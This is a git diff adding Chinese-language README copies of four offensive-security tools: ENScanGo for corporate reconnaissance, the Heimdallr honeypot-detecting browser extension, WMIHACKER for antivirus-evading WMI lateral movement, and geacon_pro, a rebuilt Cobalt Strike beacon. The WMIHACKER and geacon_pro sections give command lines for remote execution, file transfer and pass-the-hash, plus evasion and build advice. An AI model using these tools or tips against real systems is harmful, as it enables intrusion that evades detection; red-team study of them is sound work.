parent
							
								
									ffcc23618f
								
							
						
					
					
						commit
						a026bb37c0
					
				| @ -0,0 +1,270 @@ | ||||
| ## ENScanGo <https://github.com/wgpsec/ENScan_GO> | ||||
| <!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e--> | ||||
|  | ||||
|  | ||||
|  | ||||
|  | ||||
|  | ||||
| <!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451--> | ||||
| 
 | ||||
| 剑指HW/SRC,解决在HW/SRC场景下遇到的各种针对国内企业信息收集难题 | ||||
| 
 | ||||
| ## 功能列表 | ||||
| 
 | ||||
| **使用程序可能导致账号被封,仅用于信息收集用途,请勿用于非法用途** | ||||
| 
 | ||||
|  | ||||
| 
 | ||||
|  - 使用支持以下API,并支持合并数据导出 | ||||
|     - 爱企查 (未登陆信息带*) | ||||
|     - 天眼查 | ||||
|     - 阿拉丁 | ||||
|     - 酷安市场 | ||||
|     - 七麦数据 | ||||
|     - 站长之家 | ||||
|     - veryvp | ||||
|  - 查询信息 | ||||
|     - ICP备案 | ||||
|     - APP | ||||
|     - 微博 | ||||
|     - 微信公众号 | ||||
|     - 控股公司 | ||||
|     - 供应商 | ||||
|     - 客户信息 | ||||
|     - 小程序 | ||||
|     - 控股X的公司的以上所有信息 | ||||
|     - ... | ||||
|  - 通过APK市场收集使用信息 | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
| ## 使用指南 | ||||
| 
 | ||||
| ENScanGo在第一次使用时需要使用 -v 命令 生成配置文件信息 | ||||
| 
 | ||||
| Cookie信息请勿直接 `document.cookie`,可能因为http-only 选项无法复制全导致登陆失败 | ||||
| 
 | ||||
|  | ||||
| 
 | ||||
| ### 快速使用 | ||||
| 
 | ||||
| **默认公司信息** (网站备案, 微博, 微信公众号, app) | ||||
| 
 | ||||
| ``` | ||||
| ./enscan -n 小米 | ||||
| ``` | ||||
| 
 | ||||
| **对外投资占股100%的公司 获取孙公司(深度2)** | ||||
| 
 | ||||
| ``` | ||||
| ./enscan -n 小米 -invest 100 -deep 2 | ||||
| ``` | ||||
| 
 | ||||
| **组合筛选**  | ||||
| 
 | ||||
| 大于51%控股公司、供应商、分支机构,只要ICP备案信息,并且批量获取邮箱信息 | ||||
| 
 | ||||
| ``` | ||||
| ./enscan -n 小米 -field icp --hold --supplier --branch --email  | ||||
| ``` | ||||
| 
 | ||||
| **使用不同渠道**  | ||||
| 
 | ||||
| 使用天眼查数据源(或可设定为 all 组合多个数据源) | ||||
| 
 | ||||
| ``` | ||||
| ./enscan -n 小米 -type tyc | ||||
| ``` | ||||
| 
 | ||||
| 使用多数据源一起收集(暂不支持多渠道+筛选) | ||||
| 
 | ||||
| ``` | ||||
| ./enscan -n 小米 -type aqc,chinaz,qimai,coolapk | ||||
| ``` | ||||
| 
 | ||||
| ### 选项说明 | ||||
| 
 | ||||
| #### **field 获取字段** | ||||
| 
 | ||||
| 使用参数 `field`指定需要查询的信息,可指定多参数一起查询,方便快速收集 | ||||
| 
 | ||||
| ``` | ||||
| -n 小米 -field icp,app | ||||
| ``` | ||||
| 
 | ||||
| 支持以下参数 | ||||
| 
 | ||||
| - `icp` 网站备案信息 | ||||
| - `weibo` 微博 | ||||
| - `wechat` 微信公众号 | ||||
| - `app` 应用信息 | ||||
| - `job` 招聘信息 | ||||
| - `wx_app` 微信小程序 | ||||
| - `copyright` 软件著作权 | ||||
| - `supplier` 供应商信息(通过招标书确定) | ||||
| 
 | ||||
| #### **type 获取字段** | ||||
| 
 | ||||
| 使用参数 `type`可以指定需要API数据源 | ||||
| 
 | ||||
| ``` | ||||
| -n 小米 -type tyc | ||||
| ``` | ||||
| 
 | ||||
| - `aqc`   爱企查 | ||||
| - `tyc`   天眼查 | ||||
| - `all`   全部查询 | ||||
| - `aldzs` 阿拉丁 (仅小程序) | ||||
| - `coolapk` 酷安市场 (仅APP) | ||||
| - `qimai` 七麦数据(仅APP) | ||||
| - `chinaz` 站长之家(仅ICP备案) | ||||
| 
 | ||||
| #### 完整参数 | ||||
| 
 | ||||
| | 参数              | 样例           | 说明                                   | | ||||
| | ----------------- | -------------- | -------------------------------------- | | ||||
| | -n                | 小米           | 关键词                                 | | ||||
| | -i                | 29453261288626 | 公司PID(自动识别类型)                | | ||||
| | -f                | file.txt       | 批量查询,文本按行分隔(可选PID模式)  | | ||||
| | -type             | aqc            | API类型                                | | ||||
| | -o                |                | 结果输出的文件夹位置(可选)             | | ||||
| | -is-merge         |                | 合并导出                               | | ||||
| | -invest           |                | 投资比例                               | | ||||
| | -field            | icp            | 获取字段信息                           | | ||||
| | -deep             | 1              | 递归搜索n层公司                        | | ||||
| | -hold             |                | 是否查询控股公司                       | | ||||
| | -supplier         |                | 是否查询供应商信息                     | | ||||
| | -branch           |                | 查询分支机构(分公司)信息             | | ||||
| | -is-branch        |                | 深度查询分支机构信息(数量巨大)       | | ||||
| | -api              |                | 是否API模式                            | | ||||
| | -client           |                | 客户端模式通道                         | | ||||
| | -debug            |                | 是否显示debug详细信息                  | | ||||
| | -is-show          |                | 是否展示信息输出                       | | ||||
| | -uncertain-invest |                | 包括未公示投资公司(无法确定占股比例) | | ||||
| | -is-group         |                | 查询关键词为集团                       | | ||||
| | -is-pid           |                | 批量查询文件是否为公司PID              | | ||||
| | -delay            |                | 每个请求延迟(S)-1为随机延迟1-5S      | | ||||
| | -proxy            |                | 设置代理                               | | ||||
| | -timeout          |                | 每个请求默认1(分钟)超时              | | ||||
| | -no-merge         |                | 批量查询【取消】合并导出               | | ||||
| | -v                |                | 版本信息                               | | ||||
| | -email            |                | 获取email信息                          | | ||||
| 
 | ||||
| ### API模式 | ||||
| 
 | ||||
| ENScanGo可使用API模式进行分布式部署,搭建API服务构建资产处理 | ||||
| 
 | ||||
| 使用`rmq`作为任务队列组件,在redis存入任务信息,可分部署部署。数据可存储至mongodb进行调用分析。 | ||||
| 
 | ||||
| **api调用效果(前端开发中)** | ||||
| 
 | ||||
|  | ||||
| 
 | ||||
|  | ||||
| 
 | ||||
|  | ||||
| 
 | ||||
|  | ||||
| 
 | ||||
| #### API说明 | ||||
| 
 | ||||
| 在获取信息的内容在数据库内不存在时,会自动添加队列任务收集相关信息 | ||||
| 
 | ||||
| **状态信息** | ||||
| 
 | ||||
| 返回当前系统状态信息 | ||||
| 
 | ||||
| ``` | ||||
| GET /status | ||||
| ``` | ||||
| 
 | ||||
| **获取信息** | ||||
| 
 | ||||
| ``` | ||||
| GET /api/info?search=小米&invest=100&branch=true | ||||
| ``` | ||||
| 
 | ||||
| | 参数      | 参数                 | 说明                       | | ||||
| | --------- | -------------------- | -------------------------- | | ||||
| | orgname   | 文本                 | 完整公司名称(二选一)     | | ||||
| | search    | 文本                 | 模糊匹配公司名称(二选一) | | ||||
| | type      | 文本,与命令参数一致 | 数据源                     | | ||||
| | field     | 文本,与命令参数一致 | 筛选指定信息               | | ||||
| | duplicate | true                 | 加上参数去重               | | ||||
| | depth     | 数字                 | 爬取几层公司 如 2 为孙公司 | | ||||
| | invest    | 数字                 | 筛选投资比例               | | ||||
| | holds     | true                 | 筛选控股公司               | | ||||
| | supplier  | true                 | 筛选供应商信息             | | ||||
| | branch    | true                 | 筛选分支信息               | | ||||
| | output    | true                 | 为true导出excel表格        | | ||||
| 
 | ||||
| **股权穿透** | ||||
| 
 | ||||
| 返回投资、股东关联信息 | ||||
| 
 | ||||
| ``` | ||||
| GET /api/stockchart | ||||
| ``` | ||||
| 
 | ||||
| | 参数      | 参数 | 说明             | | ||||
| | --------- | ---- | ---------------- | | ||||
| | orgname   | 文本 | 完整公司名称     | | ||||
| | search    | 文本 | 模糊匹配公司信息 | | ||||
| | duplicate | true | 是否去重         | | ||||
| 
 | ||||
| **添加获取任务** | ||||
| 
 | ||||
| 添加新的任务信息 | ||||
| 
 | ||||
| ``` | ||||
| POST /api/info | ||||
| ``` | ||||
| 
 | ||||
| | 参数      | 参数                 | 说明         | | ||||
| | --------- | -------------------- | ------------ | | ||||
| | orgname   | 文本                 | 完整公司名称 | | ||||
| | update    | true                 | 是否更新     | | ||||
| | type      | 文本,与命令参数一致 | 数据源       | | ||||
| | invest_rd | true                 | 不确定投资   | | ||||
| | branch    | true                 | 获取分支信息 | | ||||
| | field     | 文本,与命令参数一致 | 筛选字段     | | ||||
| | invest    | 数字                 | 投资信息     | | ||||
| 
 | ||||
| #### 启动部署 | ||||
| 
 | ||||
| 首先我们需要对配置文件进行修改,加入数据库连接信息,与common同级加入以下配置 | ||||
| 
 | ||||
| ```yaml | ||||
| api: | ||||
|   server: "127.0.0.1" # redis地址 | ||||
|   mongodb: "mongodb://user:pass@127.0.0.1:27017" # mongodb 连接信息 | ||||
|   redis: "redis_password" # redis 密码 | ||||
|   port: "8080" # 启动API端口 | ||||
| ``` | ||||
| 
 | ||||
| **API模式** | ||||
| 
 | ||||
| 启动API模式将在配置端口监听,并启动api服务,可通过api服务进行调用读取数据 | ||||
| 
 | ||||
| 在此场景下无需配置cookie信息 | ||||
| 
 | ||||
| ``` | ||||
| ./enscan --api | ||||
| ``` | ||||
| 
 | ||||
| **客户端模式** | ||||
| 
 | ||||
| 可作为部署节点,读取任务队列自动读取信息写入数据库 | ||||
| 
 | ||||
| ``` | ||||
| ./enscan --client | ||||
| ``` | ||||
| 
 | ||||
| 
 | ||||
| <!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b--> | ||||
| ## 项目相关 | ||||
| 
 | ||||
| 
 | ||||
| ## 最近更新 | ||||
| 
 | ||||
| <!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527--> | ||||
| @ -0,0 +1,140 @@ | ||||
| ## Heimdallr <https://github.com/graynjo/Heimdallr> | ||||
| <!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e--> | ||||
|  | ||||
|  | ||||
|  | ||||
|  | ||||
|  | ||||
| <!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451--> | ||||
| 
 | ||||
| **Heimdallr**是一款致力于被动嗅探浏览器流量,提示高危资产指纹和蜜罐特征,并进行拦截告警的谷歌插件,还可以用于对浏览器特征追踪(浏览器持久化、webRTC、Canvas画布等)的对抗。 | ||||
| 
 | ||||
| 项目由深蓝实验室天魁战队提供维护 | ||||
| 
 | ||||
|  | ||||
| 
 | ||||
|  | ||||
| 
 | ||||
| ## 🥑安装 | ||||
| 
 | ||||
| 1. GitHub release 下载插件最新编译版本 | ||||
| 
 | ||||
| 2. Chrome-扩展设置-开发者模式-加载已解压的扩展程序 | ||||
| 
 | ||||
| 注意:Chrome版本至少**Chrome v96**,部分代码逻辑不适配edge和firefox,请勿混用其他浏览器 | ||||
| 
 | ||||
|  | ||||
| 
 | ||||
| ## 🚀使用 | ||||
| 
 | ||||
| #### 基本功能 | ||||
| 
 | ||||
| 高危指纹识别和蜜罐jsonp请求识别功能无需配置,只要插件开启即可生效。 | ||||
| 
 | ||||
| 高危指纹识别规则103条,涉及框架或产品如下: | ||||
| 
 | ||||
| > ueditor、struts2、spring、weblogic、shiro、F5 BIG-IP、致远OA、用友NC、用友畅捷通、通达OA、心通达OA、新点OA、帆软报表、蓝凌OA、红帆OA、华天动力OA、万户OA、金蝶云、协众OA、金和OA、海昌OA、泛微多个产品(ecology、eoffice、ebridge、emobile)、拓尔思SSO、拓尔思内容管理系统、亿邮邮件、coremail邮件、Exchange邮件、若依后台管理系统、Wordpress、小鱼易连云视讯、tomcat、iis、jboss、jetty、ibm websphere、weblogic、thinkphp、showdoc、Laravel、kindeditor、fckeditor、ewebeditor、jeesite、海康威视多个产品(网络摄像头、安防管理平台、图像综合应用平台)、dedecms、jira、confluence、java web、博达站群、dubbo、向日葵客户端、宝塔waf、宝塔面板、米拓cms、teleport堡垒机、齐治堡垒机、帕拉迪堡垒机、H3C堡垒机、绿盟防火墙、安全狗Waf | ||||
| 
 | ||||
| 蜜罐特征告警规则151条,涉及敏感域名请求(jsonp)、蜜罐网页资源特征、蜜罐对本机黑客软件(如Burpsuite)的探测请求、网站流量分析与跟踪请求、敏感关键词、敏感脚本调用等。 | ||||
| 
 | ||||
| > 为了保证请求的最全面捕获,Heimdallr中不进行script请求和XMLHttpRequest请求这类的筛选,因此插件开启的情况下默认只进行蜜罐请求识别而不拦截,若开启蜜罐请求拦截会影响正常访问CSDN、Github等网站的正常访问,可以通过日常使用时暂停插件(控制-暂停/开启插件)或关闭蜜罐拦截功能(策略配置-蜜罐拦截配置)解决。 | ||||
| > | ||||
| > 因部分框架或产品(如百度网站在线客服会调用5个json敏感域名、高德地图web嵌入会调用高德域名)的正常使用也会出现Jsonp敏感域名的访问,故同一站点的Jsonp请求超过10个时,基本可以确定为蜜罐站点,此时将会出现系统弹窗告警(弹窗需要操作系统开启浏览器弹窗权限,该权限默认开启)。低于10个的敏感域名请求,使用者可根据当前站点内容和告警域名的关联度进行判断,例如某个小企业官网可能调用百度商桥接口实现在线客服功能,但一般不会调用虎牙直播账号接口或联通一键登录热点溯源接口。 | ||||
| 
 | ||||
| #### 控制 | ||||
| 
 | ||||
| 右上角三个选项分别为暂停/开启插件、清除所有嗅探结果集、设置选项。 | ||||
| 
 | ||||
| > 暂停插件后,会清空所有页面的嗅探结果集,关闭对请求和响应的监听,扩展功能中仅WebRTC防护功能不关闭,其他的功能都会随插件暂停而暂停。 | ||||
| 
 | ||||
| #### 扩展功能 | ||||
| 
 | ||||
| 扩展功能由策略配置页面配置 | ||||
| 
 | ||||
|  | ||||
| 
 | ||||
| ##### 被动识别配置 | ||||
| 
 | ||||
| ###### 启用响应体规则匹配 | ||||
| 
 | ||||
| 建议场景设置:仅在攻击部分需高度关注页面开启该选项,用完即关 | ||||
| 
 | ||||
| > 默认情况下,被动嗅探只对请求响应的URL、Request Header、Request Body、Response Header进行匹配,仅有较少部分高危指纹在Response Body中检测,开启该选项后会启用devtools调用chrome devtools protocol,检测Response Body中的指纹。但是启用该选项后会出现调试提示栏,如需关闭参考高级-4 | ||||
| 
 | ||||
| ###### 关闭浏览器页面缓存(强制刷新) | ||||
| 
 | ||||
| 建议场景设置:插件默认开启该选项 | ||||
| 
 | ||||
| > 部分包含特征规则的静态资源(如JS文件)会在一次调用后存储在磁盘中,减少重复加载耗费的流量和带宽。这会导致识别规则在重复刷新页面是不会重复触发。开启该选项后可以达到更完善的特征识别,这也可以防止部分情况下静态资源文件不能及时更新导致的访问异常 | ||||
| 
 | ||||
| ##### 蜜罐拦截配置 | ||||
| 
 | ||||
| ###### 符合蜜罐特征请求自动拦截 | ||||
| 
 | ||||
| 建议场景设置:攻击期间开启,日常使用时关闭 | ||||
| 
 | ||||
| > 为保证能够识别、阻断部分新的Jsonp请求,插件按照请求域名进行拦截,这会导致开启该选项后访问部分日常网站(CSDN、GitHub等)会被阻断,影响日常访问。因此默认情况下插件不会拦截疑似蜜罐的Jsonp请求,需要手动开启拦截选项.日常网站被拦截也可以通过右上角的暂停插件按钮暂停,访问结束后重新启动插件。但是更建议的方式为日常使用浏览器和攻击使用浏览器分离开来,专事专用 | ||||
| 
 | ||||
| ##### 特征对抗配置 | ||||
| 
 | ||||
| ###### WebRTC 防IP泄露严格策略 | ||||
| 
 | ||||
| 建议场景设置:插件安装后手动开启该选项 | ||||
| 
 | ||||
| > 通过提高WebRTC策略严格度防止真实IP泄露,已知Chrome v104(截至2022.9.1)仍存在该漏洞,此选项可在并建议在日常使用时也开启 | ||||
| > 请勿将此策略与其他WebRTC防护插件(如WebRTC Control或WebRTC Leak Prevent)同时使用,各插件调节WebRTC策略会互相干涉,暂停其他插件的使用时的API调用也会影响Heimdallr的调节逻辑。 | ||||
| 
 | ||||
| ###### Canves噪点干扰脚本注入 | ||||
| 
 | ||||
| 建议场景设置:攻击期间开启,日常使用时关闭 | ||||
| 
 | ||||
| > 通过对当前网页注入内容脚本增加Canvas画布噪点防止特征锁定,开启后所有网页访问时将会额外加载content.js用于画布类的函数hook操作 | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
| ## 🔔高级 | ||||
| 
 | ||||
| 1. 插件的识别对象基于【标签页】,标签页页面变更【(域名+端口)或(IP+端口)】时清空结果,切换标签页时结果会暂存,关闭标签页或窗口时删除对应结果。 | ||||
| 2. 插件默认只存在被动流量监控,不会因为敏感指纹的识别触发防火墙处置。 | ||||
| 3. 插件识别结果为页面及页面子框架的请求内容,部分页面告警【请求体数据为json格式】、【请求头Content-Type为application/json格式】时,不一定是当前document的请求,有可能是当前document页加载的相关页面的接口请求匹配了规则. | ||||
| 4. 因为谷歌Chrome API的安全限制和Chrome内核的历史遗留问题,插件对响应体Body的检查与其他指纹位置的检查不同,浏览器页面顶部会出现调试提示,可通过插件设置关闭响应包检查功能或添加谷歌浏览器的启动项规避提示(在Chrome快捷方式右键打开属性,在快捷方式栏的【目标】框添加启动参数 `--silent-debugger-extension-api`)。 | ||||
| 5. 插件目的为发现直接访问无法识别的组件或框架,请勿添加可以直接识别的组件的特征到指纹库(如spark未授权页面),增加无意义的识别流程导致识别负担增加。 | ||||
| 
 | ||||
| 
 | ||||
| ## 🎇继续开发 | ||||
| 
 | ||||
| ##### 新增指纹 | ||||
| 
 | ||||
| 在实战中遇到有意义的高危指纹特征或未在拦截列表中的蜜罐请求特征都可以打开新的issue提交,作者会尽快在验证可用性后将指纹添加到新的版本中。 | ||||
| 
 | ||||
| ##### 二次开发 | ||||
| 
 | ||||
| Vue3前端模块 | ||||
| 
 | ||||
| ``` | ||||
| cd Vue_popup\heimdallr_v3 | ||||
| npm install | ||||
| npm run build:watch | ||||
| vim src\App.vue | ||||
| ``` | ||||
| 
 | ||||
| chrome插件模块 | ||||
| 
 | ||||
| ``` | ||||
| cd .\Heimdallr\ | ||||
| ``` | ||||
| 
 | ||||
| 指纹模块 | ||||
| 
 | ||||
| ``` | ||||
| cd .\Heimdallr\resource\data | ||||
| vim data.js | ||||
| ``` | ||||
| 
 | ||||
| <!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b--> | ||||
| ## 项目相关 | ||||
| 
 | ||||
| 
 | ||||
| ## 最近更新 | ||||
| 
 | ||||
| <!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527--> | ||||
| @ -0,0 +1,84 @@ | ||||
| ## WMIHACKER <https://github.com/rootclay/WMIHACKER> | ||||
| <!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e--> | ||||
|  | ||||
|  | ||||
|  | ||||
|  | ||||
|  | ||||
| <!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451--> | ||||
| 
 | ||||
| > 免责声明:本项目涉及的技术仅供安全学习与研究防御用途,禁止非法使用! | ||||
| 
 | ||||
| 免杀横向移动命令执行测试工具(无需445端口) | ||||
| 
 | ||||
| 介绍:免杀横向渗透远程命令执行,常见的WMIEXEC、PSEXEC执行命令是创建服务或调用Win32_Process.create执行命令,这些方式都已经被杀软100%拦截,通过改造出WMIHACKER免杀横向移动测试工具。(无需445端口) | ||||
| 
 | ||||
| 主要功能:1、命令执行;2、文件上传;3、文件下载;4、PTH使用 | ||||
| 
 | ||||
| ## 使用 | ||||
| 合并[Issue 1](https://github.com/360-Linton-Lab/WMIHACKER/issues/1)里PTH的使用方法: | ||||
| 
 | ||||
| ```vbscript | ||||
| 第54-58行代码: | ||||
| 
 | ||||
| if user = "-" And pass = "-" Then | ||||
| set objWMIService = objLocator.connectserver(host,"root/cimv2") | ||||
| Set SubobjSWbemServices = objLocator.ConnectServer(host, "root\subscription") | ||||
| Set regWMIService = objLocator.ConnectServer(host, "root\default") | ||||
| 
 | ||||
| 用户名和密码填“-”,结合mimikatz的PTH就可以进行WMI的PTH了。 | ||||
| ``` | ||||
| 
 | ||||
| ``` | ||||
| C:\Users\administrator\Desktop>cscript //nologo WMIHACKER_0.6.vbs | ||||
| 
 | ||||
| __          ____  __ _____   _    _          _____ _  ________ _____ | ||||
| \ \        / /  \/  |_   _| | |  | |   /\   / ____| |/ /  ____|  __ \ | ||||
|  \ \  /\  / /| \  / | | |   | |__| |  /  \ | |    | ' /| |__  | |__) | | ||||
|   \ \/  \/ / | |\/| | | |   |  __  | / /\ \| |    |  < |  __| |  _  / | ||||
|    \  /\  /  | |  | |_| |_  | |  | |/ ____ \ |____| . \| |____| | \ \ | ||||
|     \/  \/   |_|  |_|_____| |_|  |_/_/    \_\_____|_|\_\______|_|  \_\ | ||||
|                               v0.6beta       By. Xiangshan@360RedTeam | ||||
| Usage: | ||||
|         WMIHACKER.vbs  /cmd  host  user  pass  command GETRES? | ||||
| 
 | ||||
|         WMIHACKER.vbs  /shell  host  user  pass | ||||
| 
 | ||||
|         WMIHACKER.vbs  /upload  host  user  pass  localpath remotepath | ||||
| 
 | ||||
|         WMIHACKER.vbs  /download  host  user  pass  localpath remotepath | ||||
| 
 | ||||
|           /cmd          single command mode | ||||
|           host          hostname or IP address | ||||
|           GETRES?       Res Need Or Not, Use 1 Or 0 | ||||
|           command       the command to run on remote host | ||||
| ``` | ||||
| 
 | ||||
| 有命令回显执行方式 | ||||
| 
 | ||||
| `> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo" 1` | ||||
| 
 | ||||
| 无命令回显 | ||||
| 
 | ||||
| `> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo > c:\1.txt" 0` | ||||
| 
 | ||||
| 模拟shell模式 | ||||
| 
 | ||||
| `> cscript WMIHACKER_0.6.vbs /shell 172.16.94.187 administrator "Password!" ` | ||||
| 
 | ||||
| 文件上传-复制本机calc.exe到远程主机c:\calc.exe | ||||
| 
 | ||||
| `> cscript wmihacker_0.4.vbe /upload 172.16.94.187 administrator "Password!" "c:\windows\system32\calc.exe" "c:\calc"` | ||||
| 
 | ||||
| 文件下载-下载远程主机calc.exe到本地c:\calc.exe | ||||
| 
 | ||||
| `> cscript wmihacker_0.4.vbe /download 172.16.94.187 administrator "Password!" "c:\calc" "c:\windows\system32\calc.exe" ` | ||||
| 
 | ||||
| 
 | ||||
| <!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b--> | ||||
| ## 项目相关 | ||||
| 
 | ||||
| 
 | ||||
| ## 最近更新 | ||||
| 
 | ||||
| <!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527--> | ||||
| @ -0,0 +1,325 @@ | ||||
| ## geacon_pro <https://github.com/H4de5-7/geacon_pro> | ||||
| <!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e--> | ||||
|  | ||||
|  | ||||
|  | ||||
|  | ||||
|  | ||||
| <!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451--> | ||||
| 
 | ||||
| 本项目基于[geacon](https://github.com/darkr4y/geacon)项目对cobaltstrike的beacon进行了重构,并适配了大部分Beacon的功能。 | ||||
| 
 | ||||
| **该项目会持续跟进免杀的技术,保持项目的免杀性,并将免杀的技术与工具集成进来,希望未来可以做成不仅限cs功能的跨平台后渗透免杀工具。如果师傅们有相关的需求或者想法,欢迎一起来讨论。师傅们的支持与讨论是我们前进的动力。** | ||||
| 
 | ||||
| **后续可能会考虑hook服务端jar包,类似冰蝎4.0让用户可以自定义流量的加密方式。** | ||||
| 
 | ||||
| **该项目仅用于对CobaltStrike协议的学习测试。请勿使用于任何非法用途,由此产生的后果自行承担。** | ||||
| 
 | ||||
| 本项目与好兄弟Z3ratu1共同开发,他实现了一版支持4.0版本的[geacon_plus](https://github.com/Z3ratu1/geacon_plus),我这边实现了一版支持4.1及以上版本的beacon,大致功能类似,有部分功能不同。 | ||||
| 
 | ||||
| 传统cs的免杀偏向于如何加载上线,但是杀软对beacon的特征查得非常严,尤其是卡巴这种查内存的,因此不如自己重构一个。 | ||||
| 
 | ||||
| 免杀主要体现在三个方面: | ||||
| * 由于是重构的,因此没有beacon的特征,针对beacon特征的杀软是检测不出来的。 | ||||
| * golang本身具备一定的免杀性 | ||||
| * 针对各功能实现了免杀,cs部分不免杀的功能得到了更换 | ||||
| 
 | ||||
| **在师傅们的帮助下测试了4.3、4.4、4.5、4.7版本,理论上来说4.1+版本均支持,如果有不支持的版本请及时通知我。** | ||||
| 
 | ||||
| **如果有不免杀的地方请及时通知我。** | ||||
| 
 | ||||
| **由于项目刚做出来,目前的版本存在部分功能不完善的地方,如有需求请师傅们提出。** | ||||
| 
 | ||||
| 目前实现的功能具备免杀性,可过Defender、360核晶(除powershell)、卡巴斯基(除内存操作外,如注入原生cs的dll)、火绒 | ||||
| 
 | ||||
| 上述测试环境均为实体机 | ||||
| 
 | ||||
| **为了规避360对fork&&run操作的监控,本项目目前采用注入自己的方式来执行cs原生的dll,但是测试发现cs原生powerpick在注入自己执行的时候有时候会拿不到回显,在fork&&run模式下正常。因此可用execute-assembly执行我这里另一个powershell免杀的[小工具](https://github.com/H4de5-7/powershell-bypass),可绕过Defender、360等。** | ||||
| 
 | ||||
| 若想使用免杀bypassUAC的话,请execute-assembly执行[该项目](https://github.com/0xlane/BypassUAC/)的Csharp版本,尽管Csharp程序不免杀,但是execute-assembly之后可过Defender与360。该项目dll版本自己编译一下是可以免杀的,但是需要落地并且需要用rundll32执行,因此并不推荐。 | ||||
| 
 | ||||
| 若想用免杀捆绑器的话可以参考我的这个[小项目](https://github.com/H4de5-7/Bundler-bypass) | ||||
| 
 | ||||
| 若想用免杀计划任务的话可以参考我的这个[小项目](https://github.com/H4de5-7/schtask-bypass)以及一个师傅的这个[项目](https://github.com/0x727/SchTask_0x727)(不过这个项目需要用execute-assembly来内存执行)。 | ||||
| 
 | ||||
| 开发的过程中参考了鸡哥的数篇文章以及许许多多的项目,同时抓包对服务端返回的内容进行猜测,并对服务端java代码进行了部分的理解。 | ||||
| 
 | ||||
| 由于本人对二进制方向接触的不多,希望师傅们多多包涵,欢迎师傅们交流,欢迎指出问题。 | ||||
| 
 | ||||
| **如果有师傅对堆内存加密有好的解决思路欢迎来讨论,我的实现思路在实现细节里面** | ||||
| 
 | ||||
| ## 更新的情况 | ||||
| 11.10更新: | ||||
| 
 | ||||
| 实现了exit时自删除的功能,可通过设置config.go中的DeleteSelf来设置,默认为false。 | ||||
| 
 | ||||
| 11.9更新: | ||||
| 
 | ||||
| 实现了dllinject、cna等用户自定义反射型dll注入,将shinject和dllinject的注入方法改为remote,修改了rsa解密的bug,对x86进行了部分功能的适配,对cna进行了适配(即新支持反射型dll注入)。 | ||||
| 
 | ||||
| 感谢timwhitez师傅及[该项目](https://github.com/timwhitez/Doge-RL)的帮助! | ||||
| 
 | ||||
| 11.2更新: | ||||
| 
 | ||||
| 修正了中文乱码的问题。 | ||||
| 
 | ||||
| 10.31更新 | ||||
| 
 | ||||
| 新增了C2profile功能 | ||||
| 
 | ||||
| 1、适配了metadata的header、parameter、uri-append形式,暂时不支持print,不过要注意**prepend与parameter同时存在的时候好像会解析不了**,请避免同时使用。 | ||||
| 
 | ||||
| 2、适配了http-post的id的prepend、append以及parameter、header形式。 | ||||
| 
 | ||||
| 3、适配了http-post的output的parameter、header、print形式,暂时不支持uri-append形式。 | ||||
| 
 | ||||
| ## 使用方法 | ||||
| 本项目支持windows、linux、mac平台的使用。 | ||||
| 
 | ||||
| 基础的使用方法可参考原项目,windows有三种推荐的编译方式: | ||||
| 
 | ||||
| 1、go build | ||||
| 
 | ||||
| 2、go build -ldflags "-H windowsgui" 去除黑框 | ||||
| 
 | ||||
| 3、go build -ldflags "-H windowsgui -w" 缩小体积并去除黑框 | ||||
| 
 | ||||
| 4、go build -ldflags "-H windowsgui -s -w" 缩小体积并去除黑框 | ||||
| 
 | ||||
| **360对部分编译参数有监控,可以尝试用go-strip等项目混淆编译参数,或者尝试用伪造签名等方法,后续我们会考虑增加隐藏黑框的代码,避免使用编译参数来隐藏黑框。** | ||||
| 
 | ||||
| linux和mac编译的时候添加-ldflags "-s -w"减小程序体积,然后后台运行。 | ||||
| 
 | ||||
| 目前项目有部分控制台输出内容,若想删除可在代码中删除。 | ||||
| 
 | ||||
| **最简单的使用方法即为修改config.go中的公钥(此公钥是cs的公钥,不是https的公钥,提取方法可参考[geacon](https://github.com/darkr4y/geacon)介绍)以及C2服务器地址(注意是listener地址,如果是http的listener的话需要将sslHTTP改为plainHTTP),然后C2profile更换为下面的示例即可** | ||||
| 
 | ||||
| **可以支持域前置,因为只是模拟了cs的发包的协议,把C2地址更改为域前置回连的域名和端口,然后把config.go里面req.Header的host更改为域前置域名,profile不用变,谢谢帮忙测试了的师傅。** | ||||
| 
 | ||||
| **geacon_pro目前是免杀的。不过如果使用的人较多,会被杀软盯上,我们会尽量保持免杀性,师傅们可尝试用[garble](https://github.com/burrowers/garble)这个项目混淆一下源码。** | ||||
| 
 | ||||
| **出于免杀性考量,暂时删除掉powershell-import代码,师傅们若想使用可以将commands_windows.go中的PowershellPort注释恢复。** | ||||
| 
 | ||||
| **部分cs二开版本由于修改了48879该特征,可能会认证失败,如果失败的话可以尝试将meta.go中的0xBEEF更改为jar包二开后的值。可参考鸡哥的这篇[文章](https://bbs.pediy.com/thread-267208.htm)来找jar包中二开后的值。** | ||||
| 
 | ||||
| 
 | ||||
| ## 实现功能 | ||||
| ### windows平台支持的功能: | ||||
| sleep、shell、upload、download、exit、cd、pwd、file_browse、ps、kill、getuid、mkdir、rm、cp、mv、run、execute、drives、powershell-import、powershell、execute-assembly(不落地执行c#)、多种线程注入的方法(可自己更换源码)、spawn、shinject、dllinject(反射型dll注入)、管道的传输、多种cs原生反射型dll注入(mimikatz、portscan、screenshot、keylogger等)、令牌的窃取与还原、令牌的制作、代理发包、自删除等功能。支持cna自定义插件的reflectiveDll、execute-assembly、powershell、powerpick、upload and execute等功能。 | ||||
| 
 | ||||
